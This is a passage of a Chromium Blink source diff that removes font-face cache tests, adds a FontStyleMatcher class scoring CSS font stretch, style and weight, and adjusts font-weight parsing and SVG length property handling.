-  MutableStylePropertySet* font_face_descriptor =
-      MutableStylePropertySet::Create(properties, arraysize(properties));
-
-  font_face_descriptor->SetProperty(CSSPropertyFontStretch, stretch);
-  font_face_descriptor->SetProperty(CSSPropertyFontStyle, style);
-  font_face_descriptor->SetProperty(CSSPropertyFontWeight, weight);
-
-  StyleRuleFontFace* style_rule_font_face =
-      StyleRuleFontFace::Create(font_face_descriptor);
-  FontFace* font_face = FontFace::Create(&dummy_page_holder_->GetDocument(),
-                                         style_rule_font_face);
-  CHECK(font_face);
-  cache_.Add(style_rule_font_face, font_face);
-}
-
-FontDescription FontFaceCacheTest::FontDescriptionForRequest(
-    FontSelectionValue stretch,
-    FontSelectionValue style,
-    FontSelectionValue weight) {
-  FontFamily font_family;
-  font_family.SetFamily(kFontNameForTesting);
-  FontDescription description;
-  description.SetFamily(font_family);
-  description.SetStretch(stretch);
-  description.SetStyle(style);
-  description.SetWeight(weight);
-  return description;
-}
-
-TEST_F(FontFaceCacheTest, Instantiate) {
-  CSSIdentifierValue* stretch_value_expanded =
-      CSSIdentifierValue::Create(CSSValueUltraExpanded);
-  CSSIdentifierValue* stretch_value_condensed =
-      CSSIdentifierValue::Create(CSSValueCondensed);
-  CSSPrimitiveValue* weight_value = CSSPrimitiveValue::Create(
-      BoldWeightValue(), CSSPrimitiveValue::UnitType::kNumber);
-  CSSIdentifierValue* style_value = CSSIdentifierValue::Create(CSSValueItalic);
-
-  AppendTestFaceForCapabilities(*stretch_value_expanded, *style_value,
-                                *weight_value);
-  AppendTestFaceForCapabilities(*stretch_value_condensed, *style_value,
-                                *weight_value);
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-}
-
-TEST_F(FontFaceCacheTest, SimpleWidthMatch) {
-  CSSIdentifierValue* stretch_value_expanded =
-      CSSIdentifierValue::Create(CSSValueUltraExpanded);
-  CSSIdentifierValue* stretch_value_condensed =
-      CSSIdentifierValue::Create(CSSValueCondensed);
-  CSSPrimitiveValue* weight_value = CSSPrimitiveValue::Create(
-      NormalWeightValue(), CSSPrimitiveValue::UnitType::kNumber);
-  CSSIdentifierValue* style_value = CSSIdentifierValue::Create(CSSValueNormal);
-  AppendTestFaceForCapabilities(*stretch_value_expanded, *style_value,
-                                *weight_value);
-  AppendTestFaceForCapabilities(*stretch_value_condensed, *style_value,
-                                *weight_value);
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-
-  const FontDescription& description_condensed = FontDescriptionForRequest(
-      CondensedWidthValue(), NormalSlopeValue(), NormalWeightValue());
-  CSSSegmentedFontFace* result =
-      cache_.Get(description_condensed, kFontNameForTesting);
-  ASSERT_TRUE(result);
-
-  FontSelectionCapabilities result_capabilities =
-      result->GetFontSelectionCapabilities();
-  ASSERT_EQ(result_capabilities.width,
-            FontSelectionRange({CondensedWidthValue(), CondensedWidthValue()}));
-  ASSERT_EQ(result_capabilities.weight,
-            FontSelectionRange({NormalWeightValue(), NormalWeightValue()}));
-  ASSERT_EQ(result_capabilities.slope,
-            FontSelectionRange({NormalSlopeValue(), NormalSlopeValue()}));
-}
-
-TEST_F(FontFaceCacheTest, SimpleWeightMatch) {
-  CSSIdentifierValue* stretch_value =
-      CSSIdentifierValue::Create(CSSValueNormal);
-  CSSIdentifierValue* style_value = CSSIdentifierValue::Create(CSSValueNormal);
-  CSSPrimitiveValue* weight_value_black =
-      CSSPrimitiveValue::Create(900, CSSPrimitiveValue::UnitType::kNumber);
-  AppendTestFaceForCapabilities(*stretch_value, *style_value,
-                                *weight_value_black);
-  CSSPrimitiveValue* weight_value_thin =
-      CSSPrimitiveValue::Create(100, CSSPrimitiveValue::UnitType::kNumber);
-  AppendTestFaceForCapabilities(*stretch_value, *style_value,
-                                *weight_value_thin);
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-
-  const FontDescription& description_bold = FontDescriptionForRequest(
-      NormalWidthValue(), NormalSlopeValue(), BoldWeightValue());
-  CSSSegmentedFontFace* result =
-      cache_.Get(description_bold, kFontNameForTesting);
-  ASSERT_TRUE(result);
-  FontSelectionCapabilities result_capabilities =
-      result->GetFontSelectionCapabilities();
-  ASSERT_EQ(result_capabilities.width,
-            FontSelectionRange({NormalWidthValue(), NormalWidthValue()}));
-  ASSERT_EQ(
-      result_capabilities.weight,
-      FontSelectionRange({FontSelectionValue(900), FontSelectionValue(900)}));
-  ASSERT_EQ(result_capabilities.slope,
-            FontSelectionRange({NormalSlopeValue(), NormalSlopeValue()}));
-}
-
-// For each capability, we can either not have it at all, have two of them, or
-// have only one of them.
-static HeapVector<Member<CSSValue>> AvailableCapabilitiesChoices(
-    size_t choice,
-    CSSValue* available_values[2]) {
-  HeapVector<Member<CSSValue>> available_ones;
-  switch (choice) {
-    case 0:
-      available_ones.push_back(available_values[0]);
-      available_ones.push_back(available_values[1]);
-      break;
-    case 1:
-      available_ones.push_back(available_values[0]);
-      break;
-    case 2:
-      available_ones.push_back(available_values[1]);
-      break;
-  }
-  return available_ones;
-}
-
-FontSelectionRange ExpectedRangeForChoice(
-    FontSelectionValue request,
-    size_t choice,
-    const Vector<FontSelectionValue>& choices) {
-  switch (choice) {
-    case 0:
-      // Both are available, the request can be matched.
-      return FontSelectionRange(request, request);
-    case 1:
-      return FontSelectionRange(choices[0], choices[0]);
-    case 2:
-      return FontSelectionRange(choices[1], choices[1]);
-    default:
-      return FontSelectionRange(FontSelectionValue(0), FontSelectionValue(0));
-  }
-}
-
-TEST_F(FontFaceCacheTest, MatchCombinations) {
-  CSSValue* widths[] = {CSSIdentifierValue::Create(CSSValueCondensed),
-                        CSSIdentifierValue::Create(CSSValueExpanded)};
-  CSSValue* slopes[] = {CSSIdentifierValue::Create(CSSValueNormal),
-                        CSSIdentifierValue::Create(CSSValueItalic)};
-  CSSValue* weights[] = {
-      CSSPrimitiveValue::Create(100, CSSPrimitiveValue::UnitType::kNumber),
-      CSSPrimitiveValue::Create(900, CSSPrimitiveValue::UnitType::kNumber)};
-
-  Vector<FontSelectionValue> width_choices = {CondensedWidthValue(),
-                                              ExpandedWidthValue()};
-  Vector<FontSelectionValue> slope_choices = {NormalSlopeValue(),
-                                              ItalicSlopeValue()};
-  Vector<FontSelectionValue> weight_choices = {FontSelectionValue(100),
-                                               FontSelectionValue(900)};
-
-  Vector<FontDescription> test_descriptions;
-  for (FontSelectionValue width_choice : width_choices) {
-    for (FontSelectionValue slope_choice : slope_choices) {
-      for (FontSelectionValue weight_choice : weight_choices) {
-        test_descriptions.push_back(FontDescriptionForRequest(
-            width_choice, slope_choice, weight_choice));
-      }
-    }
-  }
-
-  for (size_t width_choice : {0, 1, 2}) {
-    for (size_t slope_choice : {0, 1, 2}) {
-      for (size_t weight_choice : {0, 1, 2}) {
-        ClearCache();
-        for (CSSValue* width :
-             AvailableCapabilitiesChoices(width_choice, widths)) {
-          for (CSSValue* slope :
-               AvailableCapabilitiesChoices(slope_choice, slopes)) {
-            for (CSSValue* weight :
-                 AvailableCapabilitiesChoices(weight_choice, weights)) {
-              AppendTestFaceForCapabilities(*width, *slope, *weight);
-            }
-          }
-        }
-        for (FontDescription& test_description : test_descriptions) {
-          CSSSegmentedFontFace* result =
-              cache_.Get(test_description, kFontNameForTesting);
-          ASSERT_TRUE(result);
-          FontSelectionCapabilities result_capabilities =
-              result->GetFontSelectionCapabilities();
-          ASSERT_EQ(result_capabilities.width,
-                    ExpectedRangeForChoice(test_description.Stretch(),
-                                           width_choice, width_choices));
-          ASSERT_EQ(result_capabilities.slope,
-                    ExpectedRangeForChoice(test_description.Style(),
-                                           slope_choice, slope_choices));
-          ASSERT_EQ(result_capabilities.weight,
-                    ExpectedRangeForChoice(test_description.Weight(),
-                                           weight_choice, weight_choices));
-        }
-      }
-    }
-  }
-}
-
-TEST_F(FontFaceCacheTest, WidthRangeMatching) {
-  CSSIdentifierValue* stretch_value =
-      CSSIdentifierValue::Create(CSSValueNormal);
-  CSSIdentifierValue* style_value = CSSIdentifierValue::Create(CSSValueNormal);
-  CSSPrimitiveValue* weight_value_from =
-      CSSPrimitiveValue::Create(700, CSSPrimitiveValue::UnitType::kNumber);
-  CSSPrimitiveValue* weight_value_to =
-      CSSPrimitiveValue::Create(800, CSSPrimitiveValue::UnitType::kNumber);
-  CSSValueList* weight_list = CSSValueList::CreateSpaceSeparated();
-  weight_list->Append(*weight_value_from);
-  weight_list->Append(*weight_value_to);
-  AppendTestFaceForCapabilities(*stretch_value, *style_value, *weight_list);
-
-  CSSPrimitiveValue* second_weight_value_from =
-      CSSPrimitiveValue::Create(100, CSSPrimitiveValue::UnitType::kNumber);
-  CSSPrimitiveValue* second_weight_value_to =
-      CSSPrimitiveValue::Create(200, CSSPrimitiveValue::UnitType::kNumber);
-  CSSValueList* second_weight_list = CSSValueList::CreateSpaceSeparated();
-  second_weight_list->Append(*second_weight_value_from);
-  second_weight_list->Append(*second_weight_value_to);
-  AppendTestFaceForCapabilities(*stretch_value, *style_value,
-                                *second_weight_list);
-
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-
-  const FontDescription& description_bold = FontDescriptionForRequest(
-      NormalWidthValue(), NormalSlopeValue(), BoldWeightValue());
-  CSSSegmentedFontFace* result =
-      cache_.Get(description_bold, kFontNameForTesting);
-  ASSERT_TRUE(result);
-  FontSelectionCapabilities result_capabilities =
-      result->GetFontSelectionCapabilities();
-  ASSERT_EQ(result_capabilities.width,
-            FontSelectionRange({NormalWidthValue(), NormalWidthValue()}));
-  ASSERT_EQ(
-      result_capabilities.weight,
-      FontSelectionRange({FontSelectionValue(700), FontSelectionValue(800)}));
-  ASSERT_EQ(result_capabilities.slope,
-            FontSelectionRange({NormalSlopeValue(), NormalSlopeValue()}));
-}
-
-TEST_F(FontFaceCacheTest, StretchRangeMatching) {
-  CSSPrimitiveValue* stretch_value_from =
-      CSSPrimitiveValue::Create(65, CSSPrimitiveValue::UnitType::kPercentage);
-  CSSPrimitiveValue* stretch_value_to =
-      CSSPrimitiveValue::Create(70, CSSPrimitiveValue::UnitType::kPercentage);
-  CSSIdentifierValue* style_value = CSSIdentifierValue::Create(CSSValueNormal);
-  CSSPrimitiveValue* weight_value =
-      CSSPrimitiveValue::Create(400, CSSPrimitiveValue::UnitType::kNumber);
-  CSSValueList* stretch_list = CSSValueList::CreateSpaceSeparated();
-  stretch_list->Append(*stretch_value_from);
-  stretch_list->Append(*stretch_value_to);
-  AppendTestFaceForCapabilities(*stretch_list, *style_value, *weight_value);
-
-  const float kStretchFrom = 110;
-  const float kStretchTo = 120;
-  CSSPrimitiveValue* second_stretch_value_from = CSSPrimitiveValue::Create(
-      kStretchFrom, CSSPrimitiveValue::UnitType::kPercentage);
-  CSSPrimitiveValue* second_stretch_value_to = CSSPrimitiveValue::Create(
-      kStretchTo, CSSPrimitiveValue::UnitType::kPercentage);
-  CSSValueList* second_stretch_list = CSSValueList::CreateSpaceSeparated();
-  second_stretch_list->Append(*second_stretch_value_from);
-  second_stretch_list->Append(*second_stretch_value_to);
-  AppendTestFaceForCapabilities(*second_stretch_list, *style_value,
-                                *weight_value);
-
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-
-  const FontDescription& description_expanded = FontDescriptionForRequest(
-      FontSelectionValue(105), NormalSlopeValue(), NormalWeightValue());
-  CSSSegmentedFontFace* result =
-      cache_.Get(description_expanded, kFontNameForTesting);
-  ASSERT_TRUE(result);
-  FontSelectionCapabilities result_capabilities =
-      result->GetFontSelectionCapabilities();
-  ASSERT_EQ(result_capabilities.width,
-            FontSelectionRange({FontSelectionValue(kStretchFrom),
-                                FontSelectionValue(kStretchTo)}));
-  ASSERT_EQ(result_capabilities.weight,
-            FontSelectionRange({NormalWeightValue(), NormalWeightValue()}));
-  ASSERT_EQ(result_capabilities.slope,
-            FontSelectionRange({NormalSlopeValue(), NormalSlopeValue()}));
-}
-
-TEST_F(FontFaceCacheTest, ObliqueRangeMatching) {
-  CSSIdentifierValue* stretch_value =
-      CSSIdentifierValue::Create(CSSValueNormal);
-  CSSPrimitiveValue* weight_value =
-      CSSPrimitiveValue::Create(400, CSSPrimitiveValue::UnitType::kNumber);
-
-  CSSIdentifierValue* oblique_keyword_value =
-      CSSIdentifierValue::Create(CSSValueOblique);
-
-  CSSValueList* oblique_range = CSSValueList::CreateCommaSeparated();
-  CSSPrimitiveValue* oblique_from =
-      CSSPrimitiveValue::Create(30, CSSPrimitiveValue::UnitType::kNumber);
-  CSSPrimitiveValue* oblique_to =
-      CSSPrimitiveValue::Create(35, CSSPrimitiveValue::UnitType::kNumber);
-  oblique_range->Append(*oblique_from);
-  oblique_range->Append(*oblique_to);
-  CSSFontStyleRangeValue* oblique_value =
-      CSSFontStyleRangeValue::Create(*oblique_keyword_value, *oblique_range);
-
-  AppendTestFaceForCapabilities(*stretch_value, *oblique_value, *weight_value);
-
-  CSSValueList* oblique_range_second = CSSValueList::CreateCommaSeparated();
-  CSSPrimitiveValue* oblique_from_second =
-      CSSPrimitiveValue::Create(5, CSSPrimitiveValue::UnitType::kNumber);
-  CSSPrimitiveValue* oblique_to_second =
-      CSSPrimitiveValue::Create(10, CSSPrimitiveValue::UnitType::kNumber);
-  oblique_range_second->Append(*oblique_from_second);
-  oblique_range_second->Append(*oblique_to_second);
-  CSSFontStyleRangeValue* oblique_value_second = CSSFontStyleRangeValue::Create(
-      *oblique_keyword_value, *oblique_range_second);
-
-  AppendTestFaceForCapabilities(*stretch_value, *oblique_value_second,
-                                *weight_value);
-
-  ASSERT_EQ(cache_.GetNumSegmentedFacesForTesting(), 2ul);
-
-  const FontDescription& description_italic = FontDescriptionForRequest(
-      NormalWidthValue(), ItalicSlopeValue(), NormalWeightValue());
-  CSSSegmentedFontFace* result =
-      cache_.Get(description_italic, kFontNameForTesting);
-  ASSERT_TRUE(result);
-  FontSelectionCapabilities result_capabilities =
-      result->GetFontSelectionCapabilities();
-  ASSERT_EQ(result_capabilities.width,
-            FontSelectionRange({NormalWidthValue(), NormalWidthValue()}));
-  ASSERT_EQ(result_capabilities.weight,
-            FontSelectionRange({NormalWeightValue(), NormalWeightValue()}));
-  ASSERT_EQ(
-      result_capabilities.slope,
-      FontSelectionRange({FontSelectionValue(30), FontSelectionValue(35)}));
-}
-
-DEFINE_TRACE(FontFaceCacheTest) {
-  visitor->Trace(cache_);
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/core/css/FontStyleMatcher.cpp b/third_party/WebKit/Source/core/css/FontStyleMatcher.cpp
new file mode 100644
index 0000000..506771eb
--- /dev/null
+++ b/third_party/WebKit/Source/core/css/FontStyleMatcher.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2007, 2008, 2011 Apple Inc. All rights reserved.
+ * Copyright (C) 2015 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "core/css/FontStyleMatcher.h"
+
+#include "core/css/CSSSegmentedFontFace.h"
+#include "platform/wtf/Assertions.h"
+
+#include <stdlib.h>
+
+namespace blink {
+
+static inline unsigned StretchDistanceToDesired(FontTraits desired,
+                                                FontTraits candidate) {
+  return abs(static_cast<int>(desired.Stretch() - candidate.Stretch()));
+}
+
+static inline unsigned StyleScore(FontTraits desired, FontTraits candidate) {
+  static_assert(kFontStyleNormal == 0 && kFontStyleItalic == 2,
+                "Enumeration values need to match lookup table.");
+  unsigned style_score_lookup_table[][kFontStyleItalic + 1] = {
+      // "If the value is normal, normal faces are checked first, then oblique
+      // faces, then italic faces."
+      // i.e. normal has the highest score, then oblique, then italic.
+      {2, 1, 0},
+      // "If the value is oblique, oblique faces are checked first, then italic
+      // faces and then normal faces."
+      // i.e. normal gets the lowest score, oblique gets the highest, italic
+      // second best.
+      {0, 2, 1},
+      // "If the value of font-style is italic, italic faces are checked first,
+      // then oblique, then normal faces"
+      // i.e. normal gets the lowest score, oblique is second best, italic
+      // highest.
+      {0, 1, 2}};
+
+  SECURITY_DCHECK(desired.Style() < kFontStyleItalic + 1);
+  SECURITY_DCHECK(candidate.Style() < kFontStyleItalic + 1);
+
+  return style_score_lookup_table[desired.Style()][candidate.Style()];
+}
+
+static inline unsigned WeightScore(FontTraits desired, FontTraits candidate) {
+  static_assert(kFontWeight100 == 0 && kFontWeight900 - kFontWeight100 == 8,
+                "Enumeration values need to match lookup table.");
+  static const unsigned kScoreLookupSize = kFontWeight900 + 1;
+  // https://drafts.csswg.org/css-fonts/#font-style-matching
+  // "..if the desired weight is available that face matches. "
+  static const unsigned kWeightScoreLookup[kScoreLookupSize][kScoreLookupSize] =
+      {
+          // "If the desired weight is less than 400, weights below the desired
+          // weight are checked in descending order followed by weights above
+          // the
+          // desired weight in ascending order until a match is found."
+          {9, 8, 7, 6, 5, 4, 3, 2, 1},  // FontWeight100 desired
+          {8, 9, 7, 6, 5, 4, 3, 2, 1},  // FontWeight200 desired
+          {7, 8, 9, 6, 5, 4, 3, 2, 1},  // FontWeight300 desired
+
+          // "If the desired weight is 400, 500 is checked first and then the
+          // rule
+          // for desired weights less than 400 is used."
+          {5, 6, 7, 9, 8, 4, 3, 2, 1},  // FontWeight400 desired
+
+          // "If the desired weight is 500, 400 is checked first and then the
+          // rule
+          // for desired weights less than 400 is used."
+          {5, 6, 7, 8, 9, 4, 3, 2, 1},  // FontWeight500 desired
+
+          // "If the desired weight is greater than 500, weights above the
+          // desired
+          // weight are checked in ascending order followed by weights below the
+          // desired weight in descending order until a match is found."
+          {1, 2, 3, 4, 5, 9, 8, 7, 6},  // FontWeight600 desired
+          {1, 2, 3, 4, 5, 6, 9, 8, 7},  // FontWeight700 desired
+          {1, 2, 3, 4, 5, 6, 7, 9, 8},  // FontWeight800 desired
+          {1, 2, 3, 4, 5, 6, 7, 8, 9}   // FontWeight900 desired
+      };
+
+  unsigned desired_scores_lookup = static_cast<unsigned>(desired.Weight());
+  unsigned candidate_score_lookup = static_cast<unsigned>(candidate.Weight());
+  SECURITY_DCHECK(desired_scores_lookup < kScoreLookupSize);
+  SECURITY_DCHECK(candidate_score_lookup < kScoreLookupSize);
+
+  return kWeightScoreLookup[desired_scores_lookup][candidate_score_lookup];
+}
+
+bool FontStyleMatcher::IsCandidateBetter(CSSSegmentedFontFace* candidate,
+                                         CSSSegmentedFontFace* current) {
+  const FontTraits& candidate_traits = candidate->Traits();
+  const FontTraits& current_traits = current->Traits();
+
+  // According to CSS3 Fonts Font Style matching, there is a precedence for
+  // matching:
+  // A better stretch match wins over a better style match, a better style match
+  // wins over a better weight match, where "better" means closer to the desired
+  // traits.
+  int stretch_comparison = 0, style_comparison = 0, weight_comparison = 0;
+
+  stretch_comparison =
+      StretchDistanceToDesired(font_traits_, candidate_traits) -
+      StretchDistanceToDesired(font_traits_, current_traits);
+
+  if (stretch_comparison > 0)
+    return false;
+  if (stretch_comparison < 0)
+    return true;
+
+  style_comparison = StyleScore(font_traits_, candidate_traits) -
+                     StyleScore(font_traits_, current_traits);
+
+  if (style_comparison > 0)
+    return true;
+  if (style_comparison < 0)
+    return false;
+
+  weight_comparison = WeightScore(font_traits_, candidate_traits) -
+                      WeightScore(font_traits_, current_traits);
+
+  if (weight_comparison > 0)
+    return true;
+
+  return false;
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/css/FontStyleMatcher.h b/third_party/WebKit/Source/core/css/FontStyleMatcher.h
new file mode 100644
index 0000000..f62fe1b
--- /dev/null
+++ b/third_party/WebKit/Source/core/css/FontStyleMatcher.h
@@ -0,0 +1,28 @@
+// Copyright 2015 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef FontStyleMatcher_h
+#define FontStyleMatcher_h
+
+#include "platform/fonts/FontTraits.h"
+
+namespace blink {
+
+class CSSSegmentedFontFace;
+
+class FontStyleMatcher final {
+ public:
+  explicit FontStyleMatcher(const FontTraits& font_traits)
+      : font_traits_(font_traits){};
+  bool IsCandidateBetter(CSSSegmentedFontFace* candidate,
+                         CSSSegmentedFontFace* current);
+
+ private:
+  FontStyleMatcher();
+  const FontTraits& font_traits_;
+};
+
+}  // namespace blink
+
+#endif
diff --git a/third_party/WebKit/Source/core/css/LocalFontFaceSource.cpp b/third_party/WebKit/Source/core/css/LocalFontFaceSource.cpp
index f757b9e..3dd5beb 100644
--- a/third_party/WebKit/Source/core/css/LocalFontFaceSource.cpp
+++ b/third_party/WebKit/Source/core/css/LocalFontFaceSource.cpp
@@ -19,18 +19,8 @@
 
 PassRefPtr<SimpleFontData> LocalFontFaceSource::CreateFontData(
     const FontDescription& font_description) {
-  // FIXME(drott) crbug.com/627143: We still have the issue of matching family
-  // name instead of postscript name for local fonts. However, we should
-  // definitely not try to take into account the full requested font description
-  // including the width, slope, weight styling when trying to match against
-  // local fonts.
-  FontDescription description_without_styling(font_description);
-  description_without_styling.SetStretch(NormalWidthValue());
-  description_without_styling.SetStyle(NormalSlopeValue());
-  description_without_styling.SetWeight(NormalWeightValue());
   RefPtr<SimpleFontData> font_data = FontCache::GetFontCache()->GetFontData(
-      description_without_styling, font_name_,
-      AlternateFontName::kLocalUniqueFace);
+      font_description, font_name_, AlternateFontName::kLocalUniqueFace);
   histograms_.Record(font_data.Get());
   return font_data;
 }
diff --git a/third_party/WebKit/Source/core/css/StyleRule.h b/third_party/WebKit/Source/core/css/StyleRule.h
index e7f4e9e7..aa8dcbc 100644
--- a/third_party/WebKit/Source/core/css/StyleRule.h
+++ b/third_party/WebKit/Source/core/css/StyleRule.h
@@ -148,7 +148,7 @@
   mutable Member<CSSLazyPropertyParser> lazy_property_parser_;
 };
 
-class CORE_EXPORT StyleRuleFontFace : public StyleRuleBase {
+class StyleRuleFontFace : public StyleRuleBase {
  public:
   static StyleRuleFontFace* Create(StylePropertySet* properties) {
     return new StyleRuleFontFace(properties);
diff --git a/third_party/WebKit/Source/core/css/parser/CSSPropertyParser.cpp b/third_party/WebKit/Source/core/css/parser/CSSPropertyParser.cpp
index 9a0bf513..cba0e70 100644
--- a/third_party/WebKit/Source/core/css/parser/CSSPropertyParser.cpp
+++ b/third_party/WebKit/Source/core/css/parser/CSSPropertyParser.cpp
@@ -907,15 +907,6 @@
       return CSSPropertyPositionUtils::ConsumePositionLonghand<CSSValueTop,
                                                                CSSValueBottom>(
           range_, context_->Mode());
-    case CSSPropertyStrokeWidth:
-    case CSSPropertyStrokeDashoffset:
-    case CSSPropertyCx:
-    case CSSPropertyCy:
-    case CSSPropertyX:
-    case CSSPropertyY:
-    case CSSPropertyR:
-      return ConsumeLengthOrPercent(range_, kSVGAttributeMode, kValueRangeAll,
-                                    UnitlessQuirk::kForbid);
     case CSSPropertyBorderImageRepeat:
     case CSSPropertyWebkitMaskBoxImageRepeat:
       return CSSPropertyBorderImageUtils::ConsumeBorderImageRepeat(range_);
diff --git a/third_party/WebKit/Source/core/css/properties/CSSPropertyAPIStrokeOrLength.cpp b/third_party/WebKit/Source/core/css/properties/CSSPropertyAPIStrokeOrLength.cpp
index 32e570b..b6c4c5b 100644
--- a/third_party/WebKit/Source/core/css/properties/CSSPropertyAPIStrokeOrLength.cpp
+++ b/third_party/WebKit/Source/core/css/properties/CSSPropertyAPIStrokeOrLength.cpp
@@ -4,4 +4,18 @@
 
 #include "core/css/properties/CSSPropertyAPIStrokeOrLength.h"
 
-namespace blink {}  // namespace blink
+#include "core/css/parser/CSSPropertyParserHelpers.h"
+
+namespace blink {
+class CSSParserLocalContext;
+
+const CSSValue* CSSPropertyAPIStrokeOrLength::parseSingleValue(
+    CSSParserTokenRange& range,
+    const CSSParserContext&,
+    const CSSParserLocalContext&) {
+  return CSSPropertyParserHelpers::ConsumeLengthOrPercent(
+      range, kSVGAttributeMode, kValueRangeAll,
+      CSSPropertyParserHelpers::UnitlessQuirk::kForbid);
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.cpp b/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.cpp
index f88dac5..e9b9c59 100644
--- a/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.cpp
+++ b/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.cpp
@@ -95,18 +95,20 @@
   return builder.ToString();
 }
 
-CSSValue* CSSPropertyFontUtils::ConsumeFontWeight(CSSParserTokenRange& range) {
+CSSIdentifierValue* CSSPropertyFontUtils::ConsumeFontWeight(
+    CSSParserTokenRange& range) {
   const CSSParserToken& token = range.Peek();
   if (token.Id() >= CSSValueNormal && token.Id() <= CSSValueLighter)
     return CSSPropertyParserHelpers::ConsumeIdent(range);
-  if (token.GetType() != kNumberToken)
+  if (token.GetType() != kNumberToken ||
+      token.GetNumericValueType() != kIntegerValueType)
     return nullptr;
-  float weight = token.NumericValue();
-  if (weight < 1 || weight > 1000)
+  int weight = static_cast<int>(token.NumericValue());
+  if ((weight % 100) || weight < 100 || weight > 900)
     return nullptr;
   range.ConsumeIncludingWhitespace();
-  return CSSPrimitiveValue::Create(weight,
-                                   CSSPrimitiveValue::UnitType::kNumber);
+  return CSSIdentifierValue::Create(
+      static_cast<CSSValueID>(CSSValue100 + weight / 100 - 1));
 }
 
 // TODO(bugsnash): move this to the FontFeatureSettings API when it is no longer
diff --git a/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.h b/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.h
index b9f42166..26fd14b0 100644
--- a/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.h
+++ b/third_party/WebKit/Source/core/css/properties/CSSPropertyFontUtils.h
@@ -33,7 +33,7 @@
   static CSSValue* ConsumeFamilyName(CSSParserTokenRange&);
   static String ConcatenateFamilyName(CSSParserTokenRange&);
 
-  static CSSValue* ConsumeFontWeight(CSSParserTokenRange&);
+  static CSSIdentifierValue* ConsumeFontWeight(CSSParserTokenRange&);
 
   static CSSValue* ConsumeFontFeatureSettings(CSSParserTokenRange&);
   static CSSFontFeatureValue* ConsumeFontFeatureTag(CSSParserTokenRange&);
diff --git a/third_party/WebKit/Source/core/css/properties/CSSShorthandPropertyAPIFont.cpp b/third_party/WebKit/Source/core/css/properties/CSSShorthandPropertyAPIFont.cpp
index 2b59188..f426a4b 100644
--- a/third_party/WebKit/Source/core/css/properties/CSSShorthandPropertyAPIFont.cpp
+++ b/third_party/WebKit/Source/core/css/properties/CSSShorthandPropertyAPIFont.cpp
@@ -13,6 +13,7 @@
 #include "core/css/parser/CSSPropertyParserHelpers.h"
 #include "core/css/properties/CSSPropertyFontUtils.h"
 #include "core/layout/LayoutTheme.h"
+#include "platform/fonts/FontTraits.h"
 
 namespace blink {
 
@@ -27,8 +28,8 @@
   if (!range.AtEnd())
     return false;
 
-  FontSelectionValueStyle font_style = NormalSlopeValue();
-  FontSelectionValue font_weight = NormalWeightValue();
+  FontStyle font_style = kFontStyleNormal;
+  FontWeight font_weight = kFontWeightNormal;
   float font_size = 0;
   AtomicString font_family;
   LayoutTheme::GetTheme().SystemFont(system_font_id, font_style, font_weight,
@@ -37,15 +38,13 @@
   CSSPropertyParserHelpers::AddProperty(
       CSSPropertyFontStyle, CSSPropertyFont,
       *CSSIdentifierValue::Create(
-          font_style == ItalicSlopeValue() ? CSSValueItalic : CSSValueNormal),
+          font_style == kFontStyleItalic ? CSSValueItalic : CSSValueNormal),
       important, CSSPropertyParserHelpers::IsImplicitProperty::kNotImplicit,
       properties);
   CSSPropertyParserHelpers::AddProperty(
       CSSPropertyFontWeight, CSSPropertyFont,
-      *CSSPrimitiveValue::Create(font_weight,
-                                 CSSPrimitiveValue::UnitType::kNumber),
-      important, CSSPropertyParserHelpers::IsImplicitProperty::kNotImplicit,
-      properties);
+      *CSSIdentifierValue::Create(font_weight), important,
+      CSSPropertyParserHelpers::IsImplicitProperty::kNotImplicit, properties);
   CSSPropertyParserHelpers::AddProperty(
       CSSPropertyFontSize, CSSPropertyFont,
       *CSSPrimitiveValue::Create(font_size,
@@ -96,7 +95,7 @@
   // Optional font-style, font-variant, font-stretch and font-weight.
   CSSIdentifierValue* font_style = nullptr;
   CSSIdentifierValue* font_variant_caps = nullptr;
-  CSSValue* font_weight = nullptr;
+  CSSIdentifierValue* font_weight = nullptr;
   CSSIdentifierValue* font_stretch = nullptr;
